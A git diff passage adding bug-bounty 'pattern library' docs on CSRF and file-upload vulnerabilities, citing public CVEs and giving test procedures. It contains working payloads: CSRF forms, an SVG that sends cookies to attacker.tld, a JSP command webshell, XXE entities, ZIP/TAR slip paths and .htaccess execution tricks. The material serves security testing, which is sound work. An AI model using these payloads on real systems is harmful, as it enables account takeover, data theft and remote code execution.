+- **Source:** Disclosed by researchers at GNUCITIZEN in 2007, widely documented in OWASP CSRF references and in countless web-security textbooks since. The bug is historic but is the canonical "real money" CSRF case study because it persisted, was exploitable in the wild, and had clear account-takeover impact.
+- **Pattern shape:** Gmail's filter-creation endpoint accepted authenticated POST requests without an anti-CSRF token. A malicious page could submit a hidden form that created a new mail filter forwarding every incoming message to an attacker-controlled address. The victim's account was silently siphoned in real time with no UI indication.
+- **Key trick:** The attacker did not need to compromise the password or any session token. The action was state-changing, cross-origin requests sent the auth cookie automatically, and the target trusted the cookie as evidence of intent. The forward-rule action also persisted across logins — a one-shot CSRF created indefinite mailbox exfil.
+- **Why it matters:** This bug is why every web framework after 2008 ships some form of CSRF token middleware by default. Operators auditing legacy enterprise apps, on-prem mail systems, and internal admin consoles still find exactly this shape — POST endpoint, no token, persistent state change. The lesson is "if it changes state and only requires a cookie, it's a candidate, no matter how old or 'enterprise' the target is."
+
+### Chrome SameSite=Lax-by-default (2020)
+- **Source:** Chromium project announcement and Chrome 80 release notes, February 2020. Subsequently adopted by Firefox and Edge. Documented in the Chromium SameSite-by-default rollout pages and in the IETF draft for the SameSite cookie attribute.
+- **Pattern shape:** Before this change, cookies without an explicit `SameSite` attribute were treated as `SameSite=None` — automatically sent on cross-origin requests, including the simple form POSTs that classic CSRF relies on. After Chrome 80 (and equivalent later versions in other browsers), missing `SameSite` defaults to `Lax`, which strips the cookie from cross-origin POSTs but still sends it on top-level GET navigations.
+- **Key trick:** This is a defense-shift, not a defense-elimination. State-changing GET endpoints, top-level navigation with redirects that convert to POST inside the same origin, and applications that explicitly set `SameSite=None` to support embed scenarios all remain CSRF-vulnerable. Operators must check the actual `Set-Cookie` header — not assume protection by browser default.
+- **Why it matters:** Many programs now reject CSRF reports with "modern browsers default to SameSite=Lax." That triage outcome is wrong when the cookie is explicitly `SameSite=None`, when the endpoint accepts GET, or when the chain involves a top-level navigation. Operators who quote the actual `Set-Cookie` header in the report — and demonstrate the working PoC in the latest stable Chrome — defeat that downgrade attempt.
+
+### Grafana CVE-2022-21703 (anti-CSRF bypass)
+- **Source:** Grafana security advisory `GHSA-xc3p-ff4j-pj7p`, February 2022. CVE-2022-21703. Affects Grafana versions prior to 7.5.15, 8.3.5, 8.4.3.
+- **Pattern shape:** Grafana shipped anti-CSRF protection that relied on the request's `Content-Type` header being one of a known list. A cross-origin POST with a non-listed `Content-Type` (or a `text/plain` body smuggling JSON) bypassed the CSRF check entirely on authenticated API endpoints — including endpoints capable of executing data-source plugin actions and creating administrative API keys.
+- **Key trick:** The vulnerability lived in a defense-in-depth check that *should* have failed safe. Operators encountering "we have a CSRF check, you can't have CSRF" should verify the check by enumerating the allowed Content-Types and trying every other one. Frameworks frequently allow-list `application/json` and `application/x-www-form-urlencoded` while forgetting `text/plain`, `multipart/form-data` without boundary, or vendor-specific MIME types.
+- **Why it matters:** Grafana ships on internal dashboards across most modern engineering orgs and is frequently exposed externally on subdomains. Version recon (`/api/health` returns the version) plus a CVE-2022-21703 PoC against an unpatched instance is a tier-1 paid finding pattern. Beyond Grafana itself, the *shape* of the bug — Content-Type allow-list with a gap — generalizes to many internal admin consoles.
+
+### PortSwigger CSRF research and Burp CSRF PoC generator
+- **Source:** PortSwigger Web Security Academy CSRF labs, multi-year body of work documented at portswigger.net/web-security/csrf. The Burp Suite CSRF PoC generator (right-click → Engagement Tools → Generate CSRF PoC) is the operator-standard tool for demonstrating CSRF reproducibly in reports.
+- **Pattern shape:** PortSwigger's research catalogues real defense bypasses that map directly to operator probes: token-tied-to-session-but-not-user, token-validated-only-when-present (omit the token entirely), token-matches-cookie (double-submit), Referer-header-check bypasses, and the JSON-via-text/plain trick. Each lab corresponds to a finding shape seen in real bounty programs.
+- **Key trick:** The labs are not theory — they replicate disclosed bug shapes. Operators who have not worked through the labs miss the "token validation is too lenient" class entirely.
+- **Why it matters:** Citing the lab/topic in a report demonstrates the bug is a known class with documented impact, which shortcuts triage debates. The training is also operator-grade hands-on practice for the exact probes used in real CSRF hunting.
+
+---
+
+## Pattern Library
+
+### Classic POST CSRF — no token, cookie-authed
+- **When to suspect:** POST endpoint that changes state (email change, password change, friend add, money transfer, settings update). No CSRF token in the form. Session cookie has no `SameSite` attribute set, or is explicitly `SameSite=None`.
+- **Test:** Capture the legitimate request in Burp. Strip the `Origin`, `Referer`, and any non-cookie auth header. Replay with only the cookie. If it succeeds, build the HTML PoC: `<form action="https://target/settings" method="POST"><input name="email" value="attacker@evil"></form><script>document.forms[0].submit()</script>`.
+- **Validation:** Host the PoC on attacker.tld. From a second browser logged into a victim test account, visit the PoC URL. Confirm the state change in the victim's account (email field now reads attacker@evil).
+- **Pay-grade rationale:** Medium typically; high when the action is account-affecting (email change, password reset trigger, MFA disable) and chains to ATO.
+
+### GET-based CSRF for state change
+- **When to suspect:** Application uses GET for actions that should be POST/PUT/DELETE — `/account/delete?id=42`, `/transfer?to=x&amount=100`, `/admin/disable_user?u=victim`. Often in legacy admin panels and internal tools.
+- **Test:** `<img src="https://target/account/delete?id=42">` or `<a href="https://target/transfer?to=attacker&amount=100">Click for prize</a>` for top-level navigation. GET requests bypass SameSite=Lax for top-level navigations.
+- **Validation:** From a clean victim browser, visit a page hosting the `<img>` tag or click the link. Confirm the action executed.
+- **Pay-grade rationale:** High. GET-based state change is also a violation of HTTP semantics; many programs treat it as a higher-severity finding than "missing CSRF token" because the fix requires API redesign.
+
+### JSON-body CSRF via `enctype="text/plain"`
+- **When to suspect:** API endpoint accepts `Content-Type: application/json` and processes a JSON body. Cookie auth. Server does not enforce a custom header check (no `X-Requested-With` required, no preflight tripped).
+- **Test:** Craft an HTML form where the input names plus values produce a valid JSON string when submitted as `text/plain`. Example: `<form action="https://target/api/transfer" method="POST" enctype="text/plain"><input name='{"to":"attacker","amount":100,"x":"' value='ignore"}'></form>`. The browser sends `{"to":"attacker","amount":100,"x":"=ignore"}` as the body with `Content-Type: text/plain`, which is a CORS-simple request — no preflight.
+- **Validation:** Server processes the body as JSON (because most JSON parsers are content-type-agnostic) and executes the action.
+- **Pay-grade rationale:** Medium to high. The bug class is recurrent because developers assume `application/json` content-type enforcement equals CSRF protection.
+
+### CORS misconfiguration with credentials → reflected-origin CSRF
+- **When to suspect:** Response carries `Access-Control-Allow-Origin: <reflected request origin>` and `Access-Control-Allow-Credentials: true`. The endpoint is sensitive and accepts cookies.
+- **Test:** From attacker.tld, send a `fetch('https://target/api/secret', {credentials: 'include'})`. If the response is readable, the attacker can read authenticated content cross-origin. For state change, send a POST instead.
+- **Validation:** Browser console at attacker.tld logs the response body or the action's success indicator.
+- **Pay-grade rationale:** High. Reflected-origin with credentials is a strict policy violation; chains to data exfil and CSRF simultaneously.
+
+### SameSite=Lax bypass via top-level navigation + GET
+- **When to suspect:** Cookie is `SameSite=Lax`. State-changing endpoint accepts GET (or accepts POST but redirects POST→GET via 302).
+- **Test:** Plant the action URL in a link or auto-navigate via `window.location = 'https://target/action?...'`. SameSite=Lax sends the cookie on top-level navigations, including GETs.
+- **Validation:** Action executes in victim's session.
+- **Pay-grade rationale:** Medium. Often dismissed by triage as "expected SameSite=Lax behavior" — counter by quoting the cookie header and demonstrating clear state change.
+
+### SameSite bypass via attacker-controlled subdomain
+- **When to suspect:** Target has subdomain wildcard cookies (`Domain=.target.tld`) or has any subdomain takeover, XSS, or open-redirect on `*.target.tld`. SameSite=Lax/Strict treats `evil.target.tld` as same-site for cookie purposes.
+- **Test:** From the controlled subdomain (`takenover.target.tld` or `xss.target.tld`), execute the CSRF — cookies are sent as same-site.
+- **Validation:** Action executes. Document the chain: subdomain takeover → CSRF.
+- **Pay-grade rationale:** Critical chain. Standalone subdomain takeover may pay Low-Medium; chained with a CSRF-only state change it reaches High.
+
+### Token-not-tied-to-session reuse
+- **When to suspect:** Application includes a CSRF token, but the token looks deterministic, short-lived, or per-application instead of per-session.
+- **Test:** Log into two test accounts in two browsers. Grab user A's token from a form. Submit user B's state-change request using user A's token. If accepted, the token is not session-bound.
+- **Validation:** Action executes for user B with user A's token. Or: grab a token from an unauthenticated page (login form), use it on an authenticated state change.
+- **Pay-grade rationale:** Medium. The exploit requires the attacker to first fetch a valid token, but in many designs the token is leaked in HTML to anonymous visitors.
+
+### Referer-header-check bypass via omission
+- **When to suspect:** Server validates `Referer` matches origin. Defense looks robust but the implementation may "fail open" when `Referer` is missing.
+- **Test:** Send the CSRF request from a page that strips Referer — `<meta name="referrer" content="no-referrer">`, an `https→http` redirect chain, or `Referrer-Policy: no-referrer` on the attacker page.
+- **Validation:** Request succeeds without Referer because validation logic treats absence as "internal request."
+- **Pay-grade rationale:** Medium to high.
+
+### Origin-header-check bypass via `null` origin
+- **When to suspect:** Server validates `Origin` header. Defense looks robust but may accept `Origin: null`.
+- **Test:** Trigger the request from a sandboxed iframe: `<iframe sandbox="allow-scripts allow-forms" src="data:text/html,<form>..."></iframe>`. Sandboxed iframes send `Origin: null`. Also: `file://` origin sends `Origin: null` on some browsers, and certain redirect chains drop the Origin header.
+- **Validation:** Request succeeds because validator treats `null` as same-origin or as a special-case bypass.
+- **Pay-grade rationale:** Medium to high.
+
+### Method-override smuggling (`X-HTTP-Method-Override`)
+- **When to suspect:** Backend framework supports method override headers — Express, Rails (`_method` query param), Symfony (`X-HTTP-Method-Override`). Application's CSRF middleware checks the HTTP method *as received*, not the overridden method.
+- **Test:** POST with `X-HTTP-Method-Override: DELETE` (or `_method=DELETE` in form body) — CSRF middleware sees POST and waves it through, but the framework dispatches the request as DELETE. Cookies attach as normal.
+- **Validation:** Sensitive DELETE/PUT executes via a POST request.
+- **Pay-grade rationale:** High. The bug is a defense-in-depth gap; the application thought DELETE was protected by being non-simple, but the override re-enables CSRF.
+
+### Login CSRF for account hijacking
+- **When to suspect:** Login endpoint accepts cross-origin POST with credentials and has no CSRF token. The attacker can force a victim to log into the *attacker's* account.
+- **Test:** Build a form-POST to `/login` with attacker credentials. Force the victim's browser to submit it. The victim is now logged in as the attacker — any data they enter (search queries, profile updates, payment info) lands in the attacker's account, accessible later.
+- **Validation:** Victim's browser session shows attacker's account. Combined with self-XSS in attacker's profile, this becomes XSS-on-victim.
+- **Pay-grade rationale:** Medium standalone; high when chained with self-XSS or with payment-info capture.
+
+### Logout CSRF (DoS / phishing chain)
+- **When to suspect:** Logout endpoint is GET-accessible with no CSRF protection.
+- **Test:** `<img src="https://target/logout">` from any cross-origin page. Logs the victim out.
+- **Validation:** Victim session destroyed.
+- **Pay-grade rationale:** Low standalone (annoyance), Medium when chained — force logout + phishing the re-login flow on a controlled subdomain.
+
+### OAuth `state` parameter missing or unvalidated → account-link CSRF
+- **When to suspect:** OAuth callback endpoint `/auth/callback?code=...&state=...` accepts requests with missing or unvalidated `state` parameter. Provider issues authorization codes that can be redeemed by the SP without binding to the user that initiated the flow.
+- **Test:** Initiate an OAuth link flow as the attacker, capture the authorization code from the IDP, then forge a callback URL `https://target/auth/callback?code=<attacker_code>` and deliver to the victim. Victim's browser hits the callback, target redeems the code, links attacker's IDP identity to victim's account.
+- **Validation:** Victim's account now has attacker's social/SSO identity attached. Attacker can log in via SSO and reach victim's account.
+- **Pay-grade rationale:** Critical. Account takeover via the OAuth-link flow. See also `hunt-oauth`.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### "Bearer token endpoint" claimed as CSRF
+- **Looks like:** API endpoint at `/api/v1/account/delete` accepts `Authorization: Bearer <jwt>`. There is no CSRF token. Operator wants to claim CSRF.
+- **Actually is:** Bearer tokens are not auto-sent by the browser. The attacker would need to first acquire the victim's JWT to forge a request, which is a different bug class (token theft, XSS, intercepted refresh). CSRF requires that the browser *automatically attaches* the auth credential.
+- **How to disprove:** Build a CSRF PoC. Submit it from cross-origin. If the request lacks `Authorization`, it fails. If you have to inject the token manually, you don't have CSRF — you have something else (e.g. XSS that steals the token, then crafts requests).
+
+### SameSite=Lax dismissed as "browser-default protection"
+- **Looks like:** Triage closes a CSRF report with "Chrome 80+ defaults to SameSite=Lax, so cross-origin POSTs don't carry the cookie."
+- **Actually is:** This rebuttal is wrong in three cases. (1) The cookie is explicitly `SameSite=None` in `Set-Cookie` — quote the header. (2) The endpoint accepts GET — top-level GET navigation carries the cookie under Lax. (3) The chain involves a controlled subdomain or `null` origin which is same-site under SameSite. Document which case applies; demonstrate the working PoC in latest stable Chrome.
+- **How to disprove:** Read the actual `Set-Cookie` header from the live server. Reproduce in latest Chrome with default settings. If the PoC works, the triage rebuttal is empirically wrong.
+
+### "Constant CSRF token" — same value for every user
+- **Looks like:** Application embeds `<input name="csrf_token" value="STATIC_VALUE">` in every form. The value is the same for every session and never changes.
+- **Actually is:** A constant is not a token. Operator may be tempted to report this as "weak CSRF protection" — but if the value is the same for all users, *anyone can read it* (it's in the page HTML), and an attacker can simply include the constant in their PoC. The defense provides zero security; the bug *is* CSRF, not "weak CSRF."
+- **How to disprove:** Show the same value in two different browser sessions and two different user accounts. Include the constant in your CSRF PoC. If the request succeeds, the program should treat this as full CSRF, not a "token weakness" downgrade.
+
+### Failed CORS preflight claimed as "CSRF blocked"
+- **Looks like:** Operator probes a cross-origin `fetch()` with `Content-Type: application/json`, browser issues an OPTIONS preflight, server returns 403 — operator concludes CSRF is blocked.
+- **Actually is:** Preflight only fires on CORS-non-simple requests. Simple requests (GET, HEAD, form POST with `text/plain`/`application/x-www-form-urlencoded`/`multipart/form-data`) bypass preflight entirely. CSRF via HTML form submission is a simple request and never triggers preflight regardless of what the server returns to OPTIONS.
+- **How to disprove:** Switch from `fetch` to an HTML form submission. If the form-POST succeeds without a preflight, CSRF is exploitable. The preflight 403 was a red herring.
diff --git a/docs/disclosed-reports/hunt-file-upload.md b/docs/disclosed-reports/hunt-file-upload.md
new file mode 100644
index 0000000..7f93949
--- /dev/null
+++ b/docs/disclosed-reports/hunt-file-upload.md
@@ -0,0 +1,201 @@
+# hunt-file-upload — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-file-upload`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public cases that any reader can search and verify; uncited patterns are general operator knowledge from public bounty disclosures, CVEs, OWASP guidance, and conference research.
+
+File upload pays when the uploaded artifact is *executed* (RCE), *rendered with script context* (stored XSS), *parsed by a downstream tool* (XXE / SSRF / RCE via image processor), or *escapes the intended directory* (path traversal, ZIP slip, symlink). The patterns below organize the attack into the four major impact channels — server-side execution, browser-side execution, archive escape, and parser-side execution — and document the specific bypass tricks that recur across modern targets. Every payload is copy-pasteable; every validation step shows what concrete signal proves the bug.
+
+## Cited Public Examples
+
+### ImageTragick (CVE-2016-3714)
+- **Source:** Public disclosure of multiple ImageMagick vulnerabilities in May 2016, branded "ImageTragick" by the discoverer (Stewie). CVE-2016-3714 is the canonical RCE entry; companion CVEs cover file read, SSRF, and additional command-execution sinks. Public advisories from Red Hat, Debian, and the ImageMagick maintainers.
+- **Pattern shape:** ImageMagick's MVG (Magick Vector Graphics) and MSL (Magick Scripting Language) parsers accepted attacker-controlled commands. A specially crafted file disguised as an image (correct magic bytes for JPEG/PNG/GIF, but containing MVG content) would, when processed by ImageMagick, execute arbitrary shell commands. The classic payload `push graphic-context\nencoding "UTF-8"\nimage Over 0,0 0,0 'url(https://attacker.tld/x)'\npop graphic-context` triggered an outbound HTTP request from the server.
+- **Key trick:** The vulnerability lived in the *delegate* mechanism — ImageMagick called external programs (ghostscript, mvg parser) based on file content. Magic-byte validation did not protect because the file genuinely was a valid image *and* a valid MVG. The fix required either disabling the affected delegates in `policy.xml` or upgrading to a patched ImageMagick.
+- **Why it matters:** ImageMagick is on every photo-handling, avatar, thumbnail, and report-generation pipeline. The class of bug — "third-party tool processes uploaded content with unexpected privileges" — recurs in ghostscript (PostScript file → RCE), LibreOffice (DOCX → RCE), ffmpeg (HLS playlist → SSRF), and exiftool. Operators encountering any upload feature with downstream processing should test the polyglot/delegate class before classifying as Low.
+
+### Sam Thomas — "It's a PHP Unserialization Vulnerability Jim, but Not as We Know It" (Black Hat USA 2018)
+- **Source:** Sam Thomas, Black Hat USA 2018 talk. The research established the `phar://` stream wrapper attack: PHP automatically deserializes the metadata of a Phar archive whenever a `phar://` URL is referenced by a stream-aware function (`file_exists`, `fopen`, `file_get_contents`, `is_file`, `md5_file`, etc.).
+- **Pattern shape:** Attacker uploads a Phar file disguised as an image (correct JPEG/PNG magic bytes prepended to the Phar structure — PHP does not validate the file extension when reading metadata, it scans for the Phar marker). The application later references the uploaded file via a stream-aware function. PHP unserializes the Phar metadata, instantiating attacker-chosen classes; if any reachable class has a `__destruct` or `__wakeup` magic method that reaches a sink, the attacker achieves RCE.
+- **Key trick:** The attack does not require `unserialize()` to be called explicitly. The trigger is *any* PHP function that touches `phar://` paths, and the wrapper is invoked transparently. Stream-aware functions are everywhere in PHP code — image-handling, file-existence checks, hash calculations.
+- **Why it matters:** Many PHP applications survived a decade of `unserialize` audits but are still vulnerable through the Phar wrapper. The pattern is "upload a polyglot Phar/JPEG, then trigger a stream operation on the uploaded file's path." The fix landed in PHP 8.0 (auto-unserialize disabled) but legacy PHP 7.x deployments remain widespread.
+
+### Apache mod_cgi `.htaccess` upload pattern (multi-CVE class)
+- **Source:** Multiple Apache HTTPD security advisories and bounty disclosures across years documenting the same pattern. Apache HTTP Server documentation explicitly warns about user-controlled `.htaccess` files. Recurrent in shared-hosting and CMS upload features.
+- **Pattern shape:** A web app permits upload of arbitrary file types including `.htaccess`. The attacker uploads `.htaccess` containing `AddType application/x-httpd-php .png` (or `AddHandler` directives) into a directory that previously served images statically. The next image upload (e.g., `shell.png` containing PHP source) is now executed by mod_php when requested.
+- **Key trick:** The bug is not in the upload validation per se — it is in the per-directory configuration override. Operators auditing upload features should always test whether `.htaccess` is accepted, and whether the upload directory has `AllowOverride None` (safe) or `AllowOverride All` (unsafe).
+- **Why it matters:** Apache + PHP shared hosting deployments are still common on enterprise legacy hosts and mid-tier CMS platforms (older WordPress hosting, Drupal sites, custom PHP apps). One `.htaccess` upload converts a benign image-upload feature into RCE.
+
+### CVE-2017-12615 / CVE-2017-12617 — Tomcat PUT method RCE
+- **Source:** Apache Tomcat security advisory September-October 2017. CVE-2017-12615 (Windows) and CVE-2017-12617 (Linux). Listed on CISA's Known Exploited Vulnerabilities catalogue.
+- **Pattern shape:** Apache Tomcat with HTTP PUT enabled (`readonly=false` in DefaultServlet config) accepted file uploads via PUT. The validator rejected `.jsp` extensions but the attacker bypassed by appending `/` to the filename: `PUT /shell.jsp/ HTTP/1.1`. Tomcat's filesystem layer stripped the trailing slash and stored `shell.jsp`, which was then executable.
+- **Key trick:** The bypass exploited a normalization mismatch between the validation layer (which sees `shell.jsp/`) and the storage layer (which sees `shell.jsp`). The same shape — validator and storer disagree on the canonical filename — recurs in many CVE entries against different products.
+- **Why it matters:** Tomcat is ubiquitous. The CVE provides a verifiable cite for any operator finding PUT enabled. Internal-tooling Tomcat instances frequently still ship `readonly=false`.
+
+---
+
+## Pattern Library
+
+### Case-sensitivity bypass on extension allowlist
+- **When to suspect:** Server validates extension against a case-sensitive blocklist (`if ext == ".php": reject`).
+- **Test:** Upload `shell.PHP`, `shell.Php`, `shell.pHp`. Linux filesystems are case-sensitive but PHP-FPM / mod_php often dispatch case-insensitively.
+- **Validation:** Fetch the uploaded file. If the response shows PHP execution output (not raw source), bypass succeeded.
+- **Pay-grade rationale:** Critical when execution achieved on a public-facing server.
+
+### Double-extension trick
+- **When to suspect:** Server validates only the *last* extension or only the *first* extension.
+- **Test:** Upload `shell.php.jpg` (last-only validator: sees `.jpg`, accepts; Apache mod_php with `AddHandler` based on inner extension may execute). Or `shell.jpg.php` (first-only validator: sees `.jpg`, accepts; server executes as PHP).
+- **Validation:** Fetch the uploaded file. If PHP executes, bypass confirmed.
+- **Pay-grade rationale:** Critical.
+
+### Alternative PHP extensions
+- **When to suspect:** Blocklist drops `.php` only.
+- **Test:** Try `.phar`, `.pht`, `.phtml`, `.php5`, `.php7`, `.phps`, `.phtm`, `.inc`. Most PHP installations execute all of these by default.
+- **Validation:** Fetch and observe execution.
+- **Pay-grade rationale:** Critical.
+
+### Null-byte truncation (legacy PHP < 5.3)
+- **When to suspect:** Target runs ancient PHP. Validator concatenates extension to filename without sanitization.
+- **Test:** Upload `shell.php%00.jpg`. Older PHP truncated at null byte, saving as `shell.php`; validator saw `.jpg` and accepted.
+- **Validation:** Fetch `shell.php` — execution.
+- **Pay-grade rationale:** Critical, but only on legacy targets.
+
+### Content-Type header spoofing
+- **When to suspect:** Server validates uploaded MIME by checking the request's `Content-Type` header rather than the file's magic bytes.
+- **Test:** Upload PHP source with `Content-Type: image/jpeg` in the multipart part.
+- **Validation:** Fetch — execution.
+- **Pay-grade rationale:** Critical.
+
+### Magic-byte polyglot (image + PHP)
+- **When to suspect:** Validator checks magic bytes but ignores trailing content.
+- **Test:** Prepend valid JPEG header (`FF D8 FF E0 ...`) or GIF header (`GIF89a`) to the PHP source. Save as `shell.php` (or with any of the alternative PHP extensions).
+- **Validation:** Fetch — PHP executes despite valid image header. ImageMagick / GD-based validators are still bypassed because the file genuinely contains a valid image segment plus PHP source.
+- **Pay-grade rationale:** Critical.
+
+### SVG with embedded JavaScript (stored XSS)
+- **When to suspect:** Avatar / profile-image upload accepts SVG and serves with `Content-Type: image/svg+xml`.
+- **Test:** Upload:
+ ```xml
+ <?xml version="1.0" encoding="UTF-8"?>
+ <svg xmlns="http://www.w3.org/2000/svg" onload="fetch('//attacker.tld/x?'+document.cookie)">
+ <script>alert(document.domain)</script>
+ </svg>
+ ```
+ Visit the served URL as a top-level navigation (`https://target/uploads/avatar.svg`).
+- **Validation:** OOB callback fires with cookies from a victim test account, or `alert` fires when the file is loaded.
+- **Pay-grade rationale:** High to critical depending on chain.
+
+### HTML with `.pdf` or `.txt` extension served as `text/html`
+- **When to suspect:** Server determines Content-Type from extension lookup table but the table has gaps. Or the server respects an `X-Content-Type-Options: nosniff` absence and MIME-sniffs to HTML.
+- **Test:** Upload `shell.pdf` containing `<html><script>alert(1)</script></html>`.
+- **Validation:** Browser MIME-sniffs and renders as HTML, script executes.
+- **Pay-grade rationale:** High when chained to ATO (stored XSS in admin context).
+
+### ZIP slip — path traversal via archive filename
+- **When to suspect:** Application accepts ZIP/TAR archives and extracts them server-side (plugin install, theme upload, bulk import, backup restore).
+- **Test:** Craft a ZIP containing a file named `../../../../var/www/html/shell.php` (or similar absolute/relative path). Use `zip --symlinks` or low-level zip libraries to bypass tools that sanitize.
+- **Validation:** After upload, check the target path for the extracted file. Fetch via web to confirm execution.
+- **Pay-grade rationale:** Critical.
+
+### TAR slip / symlink-in-archive
+- **When to suspect:** Application uses `tar -xf` without `--no-overwrite-dir` or similar safeguards.
+- **Test:** Create a TAR containing a symlink (`link -> /etc/cron.d/`) and a regular file named `link/x`. Extraction follows the symlink, writing `x` into `/etc/cron.d/x` outside the intended directory.
+- **Validation:** File appears in target directory; cron picks it up.
+- **Pay-grade rationale:** Critical.
+
+### `.htaccess` upload enabling PHP in image directory
+- **When to suspect:** Apache + PHP. Upload feature accepts arbitrary filenames. Upload directory is at `AllowOverride All`.
+- **Test:** Upload `.htaccess` with:
+ ```
+ AddType application/x-httpd-php .png
+ ```
+ Then upload `shell.png` containing PHP source. Fetch `shell.png` — mod_php executes.
+- **Validation:** PHP output in response.
+- **Pay-grade rationale:** Critical.
+
+### `web.config` upload on IIS
+- **When to suspect:** IIS server. Upload directory accepts `web.config`.
+- **Test:** Upload `web.config` declaring a custom handler for `.png`. Fetch a previously-uploaded `.png` containing payload — handler executes it.
+- **Validation:** Payload runs in IIS application pool context.
+- **Pay-grade rationale:** Critical.
+
+### JSP / WAR upload for Tomcat
+- **When to suspect:** Java application server (Tomcat, Jetty, JBoss) with file upload reaching a directory served as a webapp.
+- **Test:** Upload `shell.jsp`:
+ ```jsp
+ <%@ page import="java.util.*,java.io.*"%>
+ <% Process p = Runtime.getRuntime().exec(request.getParameter("c")); %>
+ <pre><% BufferedReader r=new BufferedReader(new InputStreamReader(p.getInputStream())); String l; while((l=r.readLine())!=null) out.println(l); %></pre>
+ ```
+ For `.war` upload to the Tomcat manager (CVE-2017-12615 style), PUT the WAR to a path.
+- **Validation:** Fetch `shell.jsp?c=id` — command output in response.
+- **Pay-grade rationale:** Critical.
+
+### `.aspx` upload for IIS
+- **When to suspect:** IIS + ASP.NET. Upload accepts `.aspx`.
+- **Test:** Upload an ASPX webshell. Fetch and observe execution.
+- **Validation:** Webshell command output.
+- **Pay-grade rationale:** Critical.
+
+### XXE via DOCX / XLSX / SVG upload
+- **When to suspect:** Application processes uploaded Office documents (DOCX, XLSX), SVG, or other XML-based formats with a backend XML parser.
+- **Test:** Inject XXE into the XML content:
+ ```xml
+ <!DOCTYPE r [<!ENTITY xxe SYSTEM "http://attacker.tld/x">]>
+ <root>&xxe;</root>
+ ```
+ Embed in `word/document.xml` inside a DOCX, or directly in an SVG file.
+- **Validation:** OOB callback from the parsing server; or local-file disclosure via `file:///etc/passwd` entity if response reflects content.
+- **Pay-grade rationale:** High to critical depending on what files are reachable.
+
+### Polyglot GIF+JS for client-side XSS chain
+- **When to suspect:** Application serves uploaded files with permissive Content-Type and an XSS sink loads them as `<script src=...>`.
+- **Test:** Create a file beginning with `GIF89a/*` (valid GIF header that is also a valid JS comment opener), then JS code `*/=1;alert(document.domain);`. Save as `x.gif`.
+- **Validation:** Image displays as GIF (or fails benignly), but when loaded as `<script src="x.gif">` the JS executes.
+- **Pay-grade rationale:** High when reachable in a script-include chain.
+
+### ImageMagick MVG polyglot (ImageTragick class)
+- **When to suspect:** Server processes images with ImageMagick. Validators accept by magic bytes.
+- **Test:** Upload an MVG file disguised as JPEG:
+ ```
+ push graphic-context
+ viewbox 0 0 640 480
+ fill 'url(https://attacker.tld/x)'
+ pop graphic-context
+ ```
+ Or use the classic command injection payload (varies by ImageMagick version and policy.xml).
+- **Validation:** OOB callback from the target server during image processing.
+- **Pay-grade rationale:** Critical.
+
+### Symlink upload pointing to internal file
+- **When to suspect:** Server accepts uploads that include symbolic links and the upload directory is served back as static content.
+- **Test:** Create a symlink (`ln -s /etc/passwd link.txt`) and upload it via a multipart form. If preserved, fetching `link.txt` returns the contents of `/etc/passwd`.
+- **Validation:** Response body is the linked target file.
+- **Pay-grade rationale:** High depending on disclosed content.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### File upload "succeeded" but interpreter not installed
+- **Looks like:** Upload of `shell.php` succeeds, file is stored. Operator claims RCE.
+- **Actually is:** The server may not have PHP installed (pure static hosting, nginx without PHP-FPM, S3-backed file serving). Without an interpreter parsing the file, it is just bytes on disk.
+- **How to disprove:** Fetch the uploaded file and inspect the response. If response shows raw PHP source (`<?php ... ?>` visible) or `Content-Type: text/plain`, the file is not executing. Try uploading `<?php phpinfo(); ?>` instead and fetch — if `phpinfo()` output appears, RCE confirmed; if raw source appears, write primitive only. Reclassify as "arbitrary file upload" (Medium) rather than RCE (Critical).
+
+### SVG XSS that downloads instead of rendering
+- **Looks like:** SVG with embedded script uploads successfully. Operator claims stored XSS.
+- **Actually is:** The server may serve uploaded files with `Content-Disposition: attachment; filename=...` which forces the browser to download rather than render. No script execution in the target origin.
+- **How to disprove:** Inspect the response headers when fetching the SVG. If `Content-Disposition: attachment`, downgrade the finding — there is no XSS chain through standard browser navigation. Look for a separate render path (preview viewer, image proxy) that might render the SVG inline; if none exists, the bug is "SVG accepted as upload" with no script-execution impact.
+
+### Path traversal in filename that the server sanitizes after
+- **Looks like:** Multipart filename `../../../etc/cron.d/x` accepted in the upload. Operator claims write-anywhere.
+- **Actually is:** Most upload handlers (multer, Django FileField, Rails ActiveStorage) sanitize the filename before writing to disk, either stripping path separators or generating UUID-based names while preserving the original filename only in metadata.
+- **How to disprove:** Inspect the stored path on disk (if reachable) or via the file-listing endpoint. If the file is at the intended upload directory under a sanitized name, traversal failed. If the file appears at the traversed path, confirm by writing a unique payload and reading it from the target path. Without that confirmation, the finding is "filename accepted with path characters" — not exploitable.
+
+### Polyglot uploaded but never parsed
+- **Looks like:** Polyglot JPEG/PHP file uploaded successfully. Operator assumes RCE.
+- **Actually is:** The file may be served as static content with `Content-Type: image/jpeg` and never executed by any interpreter. Storage is not execution.
+- **How to disprove:** Identify the *downstream consumer*. Is the upload processed by ImageMagick (RCE via ImageTragick)? Served via Apache with mod_php (RCE if extension dispatches)? Served via S3 (no execution at all)? Determine the consumer before claiming impact. The valid finding is "uploaded file reaches *this specific consumer* which executes it as code." Without the consumer link, the bug is "MIME validation bypass" (Low to Medium).
+
+### Webshell uploaded but `disable_functions` blocks exec
+- **Looks like:** PHP webshell uploaded and executes — `<?php phpinfo(); ?>` shows phpinfo output. Operator chains to `system('id')`.
+- **Actually is:** PHP `disable_functions = system,exec,shell_exec,passthru,...` in `php.ini` blocks command execution. The webshell can read files and execute PHP code but cannot spawn processes.
+- **How to disprove:** Run `phpinfo()` from the shell first. Check `disable_functions` and `open_basedir`. If both lock down execution, classify the finding accurately: "PHP code execution restricted by disable_functions" — still high impact (file read across the open_basedir scope, in-process code execution) but distinct from full shell access. Look for known `disable_functions` bypass techniques (mail header injection via PHP, LD_PRELOAD via putenv, specific extension CVEs) before claiming Critical.
diff --git a/docs/disclosed-reports/hunt-graphql.md b/docs/disclosed-reports/hunt-graphql.md
new file mode 100644
index 0000000..d95a9ae
--- /dev/null
+++ b/docs/disclosed-reports/hunt-graphql.md
@@ -0,0 +1,271 @@
+# hunt-graphql — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-graphql`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public cases that any reader can search and verify; uncited patterns are general operator knowledge accumulated from public bounty disclosures, GraphQL framework documentation, and PortSwigger Research.
+
